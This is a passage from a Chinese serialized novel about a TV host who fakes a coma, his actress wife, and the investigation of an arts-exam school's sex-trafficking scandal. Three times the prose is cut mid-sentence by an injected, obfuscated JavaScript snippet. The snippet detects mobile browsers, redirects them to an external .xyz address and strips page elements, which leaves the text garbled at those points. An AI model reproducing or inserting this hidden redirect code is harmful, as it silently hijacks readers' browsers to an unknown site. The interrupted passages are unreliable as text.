“喂。”电话那头响起的苍老声音让邵聿心里一空,从什么时候开始,邵永泽连说话都有气无力了?他以为这个人会永远端坐在他的商业帝国顶端,睥睨着渺小众生中的自己。 “知渺让我打个电话。”他别扭地开口道:“昏迷的报道是假的。” 沉默,是他们父子二人之间最常见的状态。怨恨随着一个人的成长和另一个人的衰老逐渐偃旗息鼓,死一般的寂静让他们即使面对面也能天各一方。 “知道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175778|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”邵永泽低声说道,紧跟着传来几声难以压抑的重咳,连坐在床畔的江知渺都听得一清二楚。 邵永泽挂断了电话,咳嗽声戛然而止,枯燥的电话忙音接过接力棒,继续侵扰着邵聿并不算清醒的大脑。 “你还好吗?”江知渺撑着他的脊背,让他缓缓躺在柔软棉枕之上。 “没事。”他若有所思地摇了摇头,“还是刘姨在给他做饭吗?” 江知渺这还是第一次听到邵聿关心他父亲的生活,立刻回答道:“是啊,前阵子爸说家里人太多,他看着心烦,把人都赶走了,小叔求了半天情才勉强让刘姨留下,每天给他做做饭,提醒他按时吃药。” “曹叔他们在家里做了快二十年,清扫维修什么都会,也从来不多说话,他倒嫌弃人家碍眼了?” “那我就不知道了,爸从来不在我的面前发脾气,这些还是小叔打电话跟我讲的。你要是担心,等事情结束就回去看看吧?我陪你一起。” “谁担心他?”邵聿把自己重重地摔进枕头里,拿被子蒙头盖住。 担心他,那谁来关心独守空房十几年的母亲呢? 自从他有记忆起,邵永泽回家的次数屈指可数,他和妈妈两个人住在偌大的别墅里,对家里下人的了解都远超于这个家的男主人。 邵聿只能从他们的口中,听到些自己出生前父母恩爱相守的只言片语,抱着那一丁点希望,等待父亲回家的那一刻。 不过,即使他回来,这个家也不会因此温暖多少。甚至后来,邵聿已经不希望他回来了。 每次回家,他都像个陌生人一样,对母亲的关心叮嘱置若罔闻,他们从来不会吵架,只是因为根本不会产生任何对话。 而每次邵永泽从家里离开后,母亲的情绪就会更加低落。邵聿曾经无数次看到她半夜站在阳台前发呆,也知道她吃的一向很少,可直到胃癌晚期的诊断书从天而降,他才终于把这些片段串联起来。 郁郁寡欢,食欲不振,孤身一人操持家事,还要面对来自另一半的冷暴力,邵聿在这条链条上找不到任何出路,所有的一切都指向了同一个结论:他的父亲间接害死了他的母亲。 “我知道,提起家里的事,你心里不舒服。”隔着一层被子,江知渺的声音听起来十分遥远,“可你跟我承诺过,不会像他一样,把我冷在一边。” 邵聿缓缓地掀开被子,江知渺看到他面色如常,稍稍松了一口气,轻柔地安抚道:“我还在这儿呢,无论发生了什么,你都可以和我说。” 他的眼神有了片刻松动,松懈下来的精神瞬间变得千疮百孔,那些藏进潘多拉魔盒的秘密从他这间漏洞百出的破房子里四散逃逸。 看着江知渺黑瞳中自己的倒影,邵聿却突然想问她:真的什么都可以和你说吗?你什么都可以原谅吗? 哪怕我彻底变成你不认识的模样,全然不是你心目中那个光明形象,面对一个卑鄙无耻的邵聿,你还能说出这句话吗? 算了——邵聿轻轻勾起嘴角,将她完完全全笼罩进自己的怀抱中,嗅着她身上清新的草木香,他强行让自己踏下心来。 你不知情,我都忘却,我们完好如初。 59. 新生 国立电视台著名主持人邵聿发生严重车祸、昏迷不醒的消息迅速传遍大江南北,与这个消息同步扩散的,还有知名艺考机构“艺心”涉嫌严重违法行为、被警方查封的新闻。 也有一些小道消息在传,说“艺心”给女学生介绍金主,这才换来了极高的艺考上榜率。不过,涉及哪些“金主”,多少学生曾参与此事,一概没有消息。 爆炸性的新闻铺天盖地,大家都没有发现,一向奔走在各类社会新闻最前线的国立电视台,此次却一反常态地哑了火,连提都没有提。 不过,新闻部的王牌记者李璟意最近倒是非常忙碌,时常往综合部跑,有人说她是打算趁邵聿昏迷的时候顶替了他的位置,整个综合部都在观望,对于她提出的种种协作安排,也都应承了下来,就连邵聿带了一年的实习主持刘恪辰,也由她指挥,神神秘秘地四处奔走。 邵聿昏迷住院的消息早已是无人不知,江知渺回到《流年似水》剧组后,立刻被制片导演灯光动作指导大小演员几乎所有人问候了一遍又一遍,修导反复和她确认是否需要休假,她对所有人的回复都是淡淡一笑,平静地说一句“谢谢关心”。 全组转场到A市一所环境优美的职业学院里,拍摄男女主角高中时期的剧情。一开始,为了照顾她的情绪和时间,制片特意将拍摄进度放缓。 可拍了两天就发现,江知渺真的如同外表看起来的那样波澜不惊,拍摄的时候一丝不苟,情绪收放自如,从不拖泥带水,始终保持着极高质量的工作效率。 “哎,我说,你是真没事还是装的啊?”吴祐安正在与她对戏,冷不丁问了一句,引得周围工作人员都竖起了耳朵。 “如果你找事的话,我也可以真的有事。” “得得得,我不问了。”吴祐安举起双手作出投降的姿态。 “三、二、一——” 随着修导话音落下,崭新的跑道上瞬间热闹起来,裁判员打响发令枪,“砰——”,起跑线上瞬间冒起一层白烟,八位运动员如离弦的剑,迅速飞了出去。 “划拉——”不属于那个世界的刺耳噪音让所有的动作戛然而止,江知渺循着声音的方向望去,发现竟然是冉然发出的声响。 她原本好好地站在镜头外,不知为何跑到了收音师身后,碰倒了一把老旧木椅。 “卡、卡!”修导深吸了一口气,警告道:“保持安静。” 江知渺急忙从看台上跳了下去,跑到冉然身边,拍了拍她的肩膀,拉着她向制片和导演道歉,“抱歉,冉然是我的助理,她不是故意的,我替她赔个不是。” 见是她的人,制片点点头,笑了一下以示谅解。 小插曲很快就结束了,大家再次回到预定的位置,准备第二条拍摄。 “静颜,你看,我们班在第一个!” 程露露惊喜的声音让丛静颜本就激烈跳动的心脏跳得更快了,她的目光始终追随着跑在最前方的那个身影,轻盈、自由、畅快。 他迈出的每一步都像是轻功的步伐,几乎是不费吹灰之力就领先了两个身位。 一百米、九十米……二十米、十米! 他始终遥遥领先,离终点线越来越近,丛静颜的心也快要跳到了喉咙。她忍不住捂住心口,热烈的心绪冲得她头皮发麻。 “赢了!我们赢了!韩叙声是第一名!我们班总分第一!” 全班的同学都跳了起来,欢呼庆祝这场酣畅淋漓的胜利。只有丛静颜还没有回过神来,呆呆地站在看台栏杆后,双手还保持着紧握的姿势。 下一秒,那个始终占据她全部视野的男生转过头来,阳光正巧洒在他的头顶,头发被风吹得蓬松,像是夕阳下的芦苇丛,反射着灿烂的光芒。 他似乎在看台上寻找什么,很快,眼神就锁定了目标。那个傻傻地捂着一颗心的女孩,在目光交汇的一瞬间,害羞地眨了眨眼。 他笑了起来,冲她高高地挥手,只有丛静颜知道,那个比阳光还要耀眼的笑容,曾经在无数次黑暗的深渊中,为她照亮前行的方向,支撑着她与他再次相遇。 “卡!” 江知渺灵活地穿过群演,小跑到冉然身边,从她手里接过平板,仔细查看刚才自己表演里的每一个细节。 “很好啊!”修导举着对讲走过来,“你俩这个状态都不错,看来休息几天还是很有效果的。” 江知渺哪会听不出修导的弦外之音,她无奈地笑了笑,“修导,夸奖我就笑纳了,休假还是算了吧。” “行吧,那我也不劝你了,如果你需要请假,随时开口。” “谢谢修导,我们继续吧?” 这场群演数量大、统筹难度高的运动会戏,经过一个下午,总算是磨完了。晚饭时间,楚妍姝跑到她的房车上,拉着她去自己那边吃饭,说是家里人亲手做的。 她原本不想去凑热闹,楚妍姝似乎是察觉出她的想法,悄悄告诉她:“菜只够两个人吃,就咱俩。” 进组这么多天,楚妍姝对她这个“前辈”总是非常谦逊,也帮了不少忙,比如程薇柔被刺伤的那天,还要多亏她紧急联系中心医院最好的外科医生来做手术。 江知渺在圈里没什么真正的朋友,不过跟她相处起来倒是算得上愉快。楚妍姝眨着楚楚可怜的大眼睛,她心一软,点了点头,直接跟着去了她的房车里。 楚妍姝家在江南,菜色清新,口味清淡,而且食材都是新鲜健康的,江知渺吃下第一口,眼睛就亮了起来。 “怎么样,知渺姐,是不是很好吃?”她双手握着筷子,期待地盯着她,等她慢慢咀嚼。 江知渺轻笑着点了点头,“的确很不错,你家人的手艺真好。” 楚妍姝这才放心地夹了一筷子,边嚼边说:“是我妈妈做的,其实也都是家常菜啦,不过因为我小时候比较挑食,只爱吃这几样,做得多了口味也越来越好。” 的确是众星捧月的掌上明珠啊——她说起家里人时,灵巧的眉毛都随着笑意高高挑起,江知渺记得自己已经很多次对她心生羡慕。 不过或许是因为刚才收工后看到了邵聿给她发的消息,这一次她的心里倒是没有那么艳羡了。 “知渺姐,你会做菜吗?” “会一点。” “哇!你还会做菜诶,好厉害!我以为像你这么忙,都没空进厨房呢。” 江知渺思索了几秒,点点头,“这几年工作比较多,自己做饭的机会确实很少。前些年不算忙,每周都会做一两次晚饭。” 周二,《钩沉》没有播出安排,综合部也没有全体会议,江知渺已经找人打听过了,每周的这一天,邵聿应该都有时间回家吃完饭。 可这五年的每个周二,邵聿没有一天回家吃晚饭。她做了无数次二人份晚餐,总会倒掉其中一半。 也许应该重新找回自己的厨艺了。江知渺下意识摸了摸手机,邵聿刚才给她发了寡淡的病号餐照片,配了一张哭脸,说“想念你的手艺”。 楚妍姝捕捉到她嘴角的笑意,咬着筷子,八卦地凑近了,“知渺姐,是不是姐夫醒了?” 她脑海中立刻拉响了警铃,邵聿苏醒这件事分明只有邵峥和李璟意他们几个知道,楚妍姝是从哪儿听说的,难道事情泄露了? “我看你笑得特别开心,就猜应该是姐夫的事情。他昏迷这么多天,你肯定很担心吧,如果醒了你就能放心了。” 原来是以为她收到邵聿苏醒的消息啊,江知渺悄悄松了口气。 她开始纠结起来,如果告诉她不是邵聿的事情,那自己流露出的笑意恐怕不好解释,她也不希望再被人误会有什么不伦恋情了。 看着楚妍姝埋头吃得正香,江知渺轻描淡写地说道:“嗯,已经醒了。” 楚妍姝似乎有些没料到她还会继续这个话题,嘴里含着一大口汤,脸颊鼓得像只小金鱼,江知渺忍不住笑出了声。 “咳咳,咳咳咳……”一大口热汤咽下去,楚妍姝呛得不住地咳嗽,江知渺站起身来,帮她轻轻拍打背部顺气。 “谢谢,谢谢知渺姐。”过了好一会儿,她才终于缓了过来,眼圈还红红的,嘴角却咧得很开,笑得一脸天真开朗。 “谢我做什么,是我要谢谢你的款待。” 楚妍姝摇了摇头,突然严肃起来,“知渺姐,我知道你一直很在意家人的隐私,你能跟我说起姐夫苏醒的事,说明对我是信任的,我……” 她顿了顿,失落地说道:“我知道,我不是科班出身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194860|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家都觉得我是带资进组的,虽然表面客客气气,可我知道他们心里肯定看不上我。” 江知渺完全没有想到,她看似无忧无虑的外表下,竟然也有这样隐秘的酸楚,于是耐下心来安慰道:“只要你演得好,什么出身都不重要。” 楚妍姝的大眼睛里蓄满了泪水,盈盈欲落,像一只淋湿了漂亮羽毛的翠鸟。 “知渺姐,以前从来没有人跟我说过这些话,我也能理解,这个圈里谁没有自己的烦恼,可能是我的烦恼太不值一提了吧。”她自嘲地挑了挑嘴角,很快又落了下去。 “别这么说,烦恼不分高低贵贱。” 江知渺还想再安慰她几句,不过在剧组她已经习惯了独来独往,这些年里除了跟梁栖月她们聊聊天,回到家里也是无言,已经丧失了好好跟人说话的能力。 “而且最近‘艺心’那个事一爆出来,我看网上有人在猜哪些艺人有‘金主’,还有人提到我……”说着,楚妍姝控制不住濒临崩溃的情绪,捂着脸小声地哭了起来。 江知渺也看到过那些营销号的“分析”,99%的胡编乱造结合1%被断章取义的事实,实际上全都是捕风捉影。 像楚妍姝这样非科班出身又有一些S级剧集的女艺人,就成了添油加醋的重灾区,好像默认了这些机会都是“睡”出来的一样。 “不用去管网上那些流言蜚语,不过是为了一时的热度,谁也不了解你是什么样的人,又怎么能说出真正的你呢?” 江知渺自认在这件事上还有一些发言权,直至今日网络上关于她和柏霆宇的讨论仍然没有停息,甚至越讨论越离谱,还有人说她拍摄完《凤凰之阿房》后休息的那两周是去做了人工流产,说得有鼻子有眼,可证据却拿不出一点。 “你别怕,‘艺心’那些女孩很多都是被骗过去的,她们也是受害者,这些营销号又借机编排其他女演员,大不了,你就直接告他们。” “艺心”的丑闻曝光后,江知渺一直回避谈及此事。不仅是因为涉及到她曾经最尊敬的教授,更是因为,龙晴几乎是在她的眼皮底下悄然失去了生命,她无法控制为之自责,质问自己为什么没有从和龙晴短暂的谈话里看出些端倪。 如果当时发现她有心事,也许还来得及阻止她轻生吧。 “知渺姐,谢谢你。听你说完,我心里好多了。”楚妍姝擦了擦眼泪,“抱歉,‘艺心’的事……你应该也很难过吧,是我不该跟你提起。” 江知渺释然地摇了摇头,重新坐回她对面,“没关系,虽然颜洪是我的老师,可这么多年没见,人都是会变的。事情已经发生了,我也不能改变什么。” 她只能这样安慰自己。 “知渺姐,关于‘艺心’,有个人,不知道你能不能帮帮忙。” 楚妍姝翻了翻手机,把一张照片举到她的面前,“这是和我儿时一起玩过的姐姐,后来我们家搬走了,和她就只有线上联系了。” “她也在‘艺心’接受过艺考培训,还拿到了艺大表演系的录取通知书,但不知为何,开学第一天她就申请了退学。” “之后,我们就失去了联系。听熟悉的邻居说,她当时坚持要退学,怎么劝也劝不动,退学后就申请了奖学金,去美国上学了,这些年里也没有回过国。” 江知渺盯着照片上十来岁的年轻面庞,这张脸看上去并不陌生,甚至她可以确信自己看到过这张照片,但怎么也想不起来了。 “她是哪年被艺大录取的,你知道吗?” “应该是……”楚妍姝放下手机,掰着手指数了数,“应该是十二年前,刚好是我小学毕业那年,家里给我买了第一部手机,我就翻出了她手机号,从朋友圈看到了艺大的录取通知书。” “十二年前……” 江知渺突然屏住了呼吸,十二年前,也是她考进艺大的那年。 她抓起照片,仔仔细细地看了一遍,终于想起来了: 艺大女生宿舍都是四人寝,只有她们寝室,住了三个人。 听宿管阿姨说,第四个女孩在报道时直接递交了退学申请。 原来这张照片,她早在13级新生通讯录上就看到过。 “妍姝,她的名字,是不是‘辛雅’?” 60. 强求 已经数不清第多少次了,紧闭的车窗被人从外面敲响,柯妙妙翻了个白眼,一把摘下墨镜,把车窗放了下来。 “大哥,我说你要是闲得没事干,就去找个厂拧螺丝,一天到晚在这儿趴着干什么?” 她勉强保持着最后的一点点耐心,将头伸出车窗,对着窗外那个穿了一身黑色休闲服、同样带着墨镜的男人说道。 “你不是也天天在这儿盯梢吗,还说我?”男人一手撑住她的窗框,一手去拉车门,“下车,不然我报警了。” 柯妙妙终于忍不下去了,她简直要被眼前这个愚蠢的同行气笑了,“我说你是不是脑子有病啊?咱们俩都是狗仔,谁还比谁高贵么?你,报警让警察来抓我?那我倒要看看,你会不会一块儿被警察抓进去!” “谁跟你都是狗仔啊?”男人见车门拉不开,干脆半靠半倚在她的车上,一副无赖的样子,“要么我现在报警,要么你立刻马上离开,保证再也不来VeilMansion。” 柯妙妙将车门解锁,趁他不备,猛地推开车门,巨大的推力把他险些掀翻在地上,他踉踉跄跄地往后退了几步,好不容易站住脚,指着柯妙妙忿忿道:“我在跟你好好谈判,你这人怎么敬酒不吃吃罚酒啊?” “谈判?”柯妙妙轻蔑地笑了一声,“你以为自己是上市公司的总裁啊?还谈判,装得跟真的似的。大家都是吃这口饭的,没见过你这种非得要砸人饭碗的。” 邵峥愣了一下,下意识摸了摸自己脸上的墨镜,心里松了一口气:还好还好,没暴露。要是让邵聿知道自己帮他盯着VeilMansion的时候被狗仔发现了,非把他手刃了不可。 不过,面前的这个娱记实在是碍眼。 他平时让手下来这儿盯着,偶尔集团的工作不忙,他也开车自己转一圈,每次都能看见这个娱记举着长枪短炮似的相机,窝在这个绝佳的偷拍角落,一呆就是一整天。 一开始他以为只是个被柏霆宇的案子吸引过来的小狗仔,等热度过了自然就去拍别的了。可没想到,她这一蹲就是将近一个月! 邵峥先是跟她套话,想套出她拍到的内容,看看对邵聿和江知渺有没有危险,可这个看着二十来岁的年轻狗仔,嘴巴却比长城还坚固,他使出在商场上叱咤风云的话术,愣是没问出一句话来。 他也让人去调查过这个小丫头的身份,可也许是她太没名气了,A市从大到小白的黑的灰的各家娱乐圈工作室都查无此人,一时间邵峥还真找不到什么办法能让她离开。 最近“艺心”的事一出,邵峥虽然不知道具体发生了什么,但邵聿特意让他加派人手盯着这里,他就觉得不能再让这个不可控的钉子扎在自己眼前了,这才又是威逼利诱又是恐吓吓唬。谁想这狗仔胆子还真的够大,铁了心就是不走。 眼看报警都没法起到效果了,邵峥正绝望地苦思冥想下一步作战计划,就看她接了个电话,急匆匆地回到了车上,转眼间就驾车消失在视线里。 “哎,你等着,我非得让你主动离开这儿!”邵峥对着汽车尾气喊道。 柯妙妙接起江知渺电话的时候先长叹了口气,跟这个菜鸟娱记说话真是太累了! 也不知道是哪个工作室这么倒霉,收了这位大神。派别人来的时候还好,只要是他过来,准保要跟自己抢位置,还大声嚷嚷,生怕人家发现不了他们。 “我跟你说,你得给我精神损失费,我在VeilMansion遇上神经病了。”柯妙妙疲惫地拉着长音。 “妙妙,你还记得辛雅吗?”江知渺的声音听起来有些紧绷,柯妙妙也不禁认真起来。 “辛雅……”她默念了一遍,“这名字怎么那么耳熟?” “就是我们宿舍开学第一天就退学了的那个女生。” “哦哦哦,我想起来了!她报道的时候直接申请退学,也没来过宿舍。咋啦,你见到她了?” “我怀疑她也是‘艺心’的受害者。” 一石激起千层浪,柯妙妙猛踩刹车,将车停在路边,久久没有说出一句话。 她深深地提起一口气,“已经过去十二年了,你怎么知道的?” 电话另一头传来一阵窸窸窣窣的杂音,然后出现了一个清亮的年轻女声,“妙姐您好,我是楚妍姝,现在和知渺姐在一个组里。辛雅的事,是我告诉知渺姐的。” 柯妙妙自然听说过楚妍姝的大名,她二十一岁入圈,第一部作品饰演的反派配角就取得了亮眼的成绩,近几年凭借姣好甜美的外表,出演了多部偶像剧,也慢慢积累起不少人气,在他们娱记圈内算得上是一线小花了。 她也去拍过楚妍姝,私生活方面她倒是没什么爆点,平日里宅得很,出门的次数很少,应该也没有男朋友,行程基本上都是去工作或者回老家,闲暇时最多就是跟闺蜜逛街,属于被家庭保护得很好的那种富二代。 柯妙妙听她复述了一遍辛雅的事情,虽然没有提供什么证据,不过有些细节还是和柯妙妙内心残存的怀疑不谋而合,她没有向楚妍姝说明自己“娱记何勇”的隐藏身份,只说自己在江知渺的工作室工作,会帮忙去辛雅家问问情况。 “谢谢,谢谢妙姐,真的非常感谢。”柯妙妙的声音有些微微的颤抖。 “小时候,我是小区里年纪最小的孩子,其他人都不愿意和我玩,父母工作又很忙,有时候我只能被保姆领着在院子里呆坐一天。只有辛雅姐愿意拉着我,带我去看蜻蜓,教我骑自行车。 她从小就是一个很开朗的女孩,所以看到她考上艺大表演系,我打心里为她高兴。她有那种让所有人都快乐起来的魔力。 这些年里我一直想知道她到底发生了什么,要放弃艺大的机会。看到‘艺心’的新闻,我真的不敢去想,万一她也经历了……” 楚妍姝的声音戛然而止,在一阵低声哽咽后,她用郑重的语气,字正腔圆地说道:“谢谢你们帮我,也谢谢你们帮辛雅姐。” 江知渺见她情绪低落,于是关掉免提,给她留下单独的空间,不声不响地离开了楚妍姝的房车。 “辛雅家的地址我转发给你了,我这边走不开,还得麻烦你跑一趟。”她把通告单合上收好。 “江知渺。”柯妙妙罕见地严厉起来,隔着电流,江知渺都感觉脊背发凉,被她叫得心虚起来。 “怎、怎么了?” “我现在就在去你们剧组的路上,你自己提前想好,究竟有什么事情瞒着我。” 「吃完饭了吗?」 江知渺心事重重地挂断电话,邵聿的消息就弹了出来。她这才想起,刚才吃饭时邵聿发过来卖惨的那几张病号餐,自己还没来得及回复。 可现在大脑成了一团乱麻,她在输入框里敲打又删除,最后也没想好要回什么,干脆全都删掉,手机扔到一边,靠在椅背上闭目养神。 半睡半醒间,微信电话响了起来,她不情不愿地拿起手机,看到是邵聿的来电后,稍稍放松了一下,斜倚在柔软的抱枕上,接通了电话:“喂。” “吃过了吗?” 无论听过多少次,可每当邵聿的声音冷不丁在耳畔响起,尤其是通过电话或私语这样紧贴耳廓的时刻,她的心跳都会骤然加快。 “嗯,刚吃完。” 好像应该继续说点什么,江知渺潜意识里不断地搜寻五年前他们俩的相处模式,消磨不清的记忆告诉她,她得再热情一些。 二十来岁时她分明和邵聿总有说不完的话,但似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204346|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么重物挂在她的喉咙里,沉沉地向下坠去,让她失去说话的力气。 “你看到我给你发的照片吗?真的好难吃啊——”邵聿的语速突然加快了,每个字咬到一半就脱口而出,全然听不出是一个经过多年播音培训的主持人,倒有了几分大学生随口吐槽的轻快随意,连珠炮似的。 “四菜一汤,全都是清水煮青菜,再这么吃下去,我的五脏六腑都要变成绿的了!” “……对了,今天终于有了肉菜,是青椒炒肉片,我数了一下,肉片一共八块半,七又四分之三块都是肥肉。” 他事无巨细地把每一道菜都吐槽了一遍,光是听他不重样地“诋毁”这些食材,江知渺就忍不住笑出声来。 “唉,知渺,好想吃你亲手做的菜啊!”终于,邵聿拖着黏黏糊糊的语气,结束了不厌其烦的单口演说。 江知渺高频率地眨着眼睛,无奈地说道:“邵先生,你都三十岁了,又不是小孩子,怎么这么粘牙啊?” “你不喜欢粘牙的吗?” 他的语气十足地不正经,江知渺按住音量键,即使周围没有任何人,她还是做贼心虚似的猛按了几下。 “咳咳,说什么呢?” 邵聿却理直气壮地回道:“你不回答,我就一直来黏你。” 江知渺这才明白,刚才自己删删减减的时候,他应该是看到了“正在输入中”,现在是来找她算账的。 “老公。”她的语气忽然凉了下来,电话另一端,邵聿的脚步停在窗边,紧张地等待着她的回应。 是不是我太过分了?邵聿很难控制自己不去这样想。 他知道或许他们俩不可能那么快地回到两小无猜的时候,不过他愿意往江知渺的方向多走几步,直到迎面和她撞个满怀。 其实他以前也不会对江知渺这样说话,就算是热恋期,也习惯于用温和的语气和行动,给她制造一个安全屋。 但在医院百无聊赖的这几天,邵聿至少能够确定,从前那一套完全行不通。他不甘心就这样温水煮青蛙,等待着时间用红线把他们重新绑在一起。 哪怕是咬着牙去对她撒娇,抛弃任何尊严,不顾任何体面,他也不想再放开江知渺的手了。 “给我点时间,好吗?”江知渺的声音闷闷的,让邵聿心里也跟着沉了一下。 “我没有想逼你的意思,我只是……” “我懂”,江知渺举起左臂,挡在眼前,让自己陷进人为制造的黑暗里,失笑道:“可能是我最近有点累吧,给我一个适应的时间,好吗?” 至少她会告诉自己,她觉得疲惫了,邵聿从她的话语里抽丝剥茧,勉强找出一点安慰。 “好,当然可以,按照你的节奏就好,我们不着急。” “谢谢你,邵聿。” 不知为何,分明是冷下来的气氛,邵聿心里却松快了不少。他自嘲地想到,是不是他们两人注定就是这样不咸不淡的相处模式,原来自己才是那个强求不可能的人。 “明天你就要出院了吧。”江知渺笑了笑,“我去接你。” 他心里刚刚瘪下去的气球又被吹了一口气,晃晃悠悠地飘起来,邵聿不假思索地点了点头,“好,那我等你。” 虽然人在病房里,不过这一周他也没有闲着,远程做了很多事。邵聿突然想起下午的会议,犹豫了一下,还是补充道:“算了,明天我让刘恪辰来接我吧,你先别过来了。” “为什么?” 因为我不希望你再次卷入舆论中心?邵聿无法用这个理由去回答,她本就在舆论的旋涡中,若是再将她蒙在鼓里,未免太过傲慢。 “今天晚上八点,国立一台,《对话》,如果你有空的话,记得看看。” 61. 巧合 八点,江知渺看了一眼通告单,如果前面吴祐安的戏拍得顺利的话,那个时间自己应该正在候场,应该可以抽空看看。 邵聿对外宣称昏迷的这一周里,江知渺猜到他们会有所行动,却想不到会是怎样的节目。 不过在那之前,她还需要关心一下助理。冉然看到她接电话,默默地离开了房车。短短几分钟,暑热已经让她的脸庞染上了红晕,江知渺急忙让她回到房车上休息。 “不,不用了,知渺姐,我在外面等就行了。”冉然抽回被握住的手腕,往门口退去。 “冉然!”江知渺眉头紧皱,“你真的没有什么事吗?上次你突然消失,我给你放了两周的假,但这几天复工后,看你状态还是不太好。” “对不起知渺姐,我会认真工作的,刚才那种错误绝对不会再发生了!” 冉然猛地向她鞠了一躬,起身的时候摇摇晃晃,差点摔倒,江知渺眼疾手快地把她拉住,按着她坐了下来。 “我不是在怪你,你给我做了这么久的助理,做事一直都很稳重。我是想告诉你,不管发生什么,你都可以跟我说,我会尽力帮你解决。 如果你的事情还没有处理完,我可以再给你放假,等你调整好状态再回来。” 她一直不习惯身边跟着很多人,所以一般跟组的助理就只有冉然一个,其他事情梁栖月也会来照应一二。 上一个助理跟了她四年,中间她接不到戏的那两年也没有离开,去年回归家庭,江知渺这才招了新助理。 冉然当时还是广播大学新媒体专业的大四学生,看到招聘信息后,主动来询问接不接受实习。 一开始,梁栖月直接拒绝了,但她主动向工作室邮箱发了很多自己设计的海报、展板、宣传物料,江知渺看得出她在设计方面很有才华,于是同意她来面试。 其实她本想将冉然安排在工作室的宣传团队里,很多工作都可以远程完成,这样也不耽误她准备毕业答辩。 可面试的时候冉然铁了心想要应聘她助理的岗位,甚至直接拒绝宣传团队的留用offer,江知渺便点了头。 实习的那段时间里,她几乎没怎么睡过完整的觉,江知渺已经嘱咐她可以随时请假了,但她还是坚持跟着天南海北的跑剧组、跑活动,等到深夜再静静地修改毕业论文。 除了正式答辩那一天,冉然没有请过一天假,也没有错过一次行程。 像这样心不在焉的样子,从来没有在冉然身上出现过。 “小冉,你真的没事吗?我很担心你。” 上个助理突然跟她说要回家结婚生子,就把她吓了一跳,江知渺也反思了自己,平日里的确对助理关心不足,这次她不想再错过什么了。 “知渺姐,我……”冉然的眼神开始躲闪,她低着头,用力抠着自己的手指。 “咚咚咚——”急促的敲门声像是沉重的鼓点,打乱了房车内宁静的气氛,敲乱了他们两人的心跳。冉然“噌”的一下跳了起来,嘟囔一句“我去开门”,就冲向门口。 打开门后,一张不施粉黛的清秀面庞映入眼帘,冉然惊讶地叫道:“妙姐,你怎么来啦?” 柯妙妙直接上了两只手,捏住冉然两侧脸颊的婴儿肥,笑着说道:“来找你老板算账呀,你先去外面玩,别误伤了你。” 从结束跟柯妙妙的电话,江知渺就一直心神不宁,等到她真的一脸严肃地坐在自己对面,江知渺反而觉得有点好笑,忍不住笑出了声。 “你还笑?”柯妙妙扶着额头,痛心疾首,“江知渺女士,你有没有良心啊?我帮你在VeilMansion门口蹲了将近一个月,你都不跟我说实话。今天你必须给我说清楚,到底是让我在那儿盯着谁?” “不是说‘罪犯一定会再次回到案发现场’吗,我就是想着没准能抓到真凶呢……” “鬼才信!”柯妙妙用力地拍着桌子,“我问你,真凶是男是女?是高是矮?是胖是瘦?” 江知渺木然地摇了摇头。 “你都不知道真凶长什么样,还会让我去那儿蹲真凶现身?你是在装傻还是拿我当傻子啊?” 柯妙妙越说越激动,干脆挽起袖子,仰头灌下一大杯冰水,掰着手指跟她一件一件算起账来。 “一开始你让我去VeilMansion盯着,我也没多想,那会儿进进出出的人很杂,又是死者家属又是警察的,而且你当时是最大嫌疑犯,想要掌握最新情况也很正常,就算你不说,我也会去的。” 可后来经历了这么多事,警方对你的怀疑也一会儿高一会儿低,现在调查进展几乎停滞,你还让我在那儿盯着,我就觉得奇怪了:都是一些有钱人去娱乐,盯着他们做什么? 直到在君泽律所监控里发现的那辆假出租将我们引到‘艺心’,又发生了最近这些事,我才开始怀疑,你是不是有什么事情瞒着我?” 江知渺不自在地捋了一下刘海,小声嘟囔起来,“我能瞒着你什么啊……你就是职业病,遇到什么事都想深挖。” “是,我是习惯挖各种猛料,但那也得有的挖才能让我挖出来。”柯妙妙用手指蘸了点水,在桌面上勾画。 “如果乘坐假出租车、进入君泽、偷走行车记录仪视频的人是真凶派去的,同时这辆假出租车又是‘艺心’往VeilMansion送女孩的工具,那么,那个想要栽赃嫁祸给你的真凶,和‘艺心’背后的人,就是同一个。” “但颜洪对警方说,都是她去联系金主,把学生介绍给他们,没有人指使她……” “江知渺!”柯妙妙坚定地摇了摇头,“你觉得她一个人有这么大本事吗?颜教授早就不是、或者她从来就不是我们印象里那个和蔼可亲的老师了,你还不愿意接受现实吗?” 她又何尝没有想到过这些,江知渺手指紧紧地抓住真皮沙发,指甲抓得生疼。 从何思尔将一切全盘托出的那一刻起,她就意识到柏霆宇的死与“艺心”丑闻之间存在千丝万缕的联系。 而自己已经暴露在真凶的面前,只能眼睁睁地等待他从背后向自己刺出匕首。 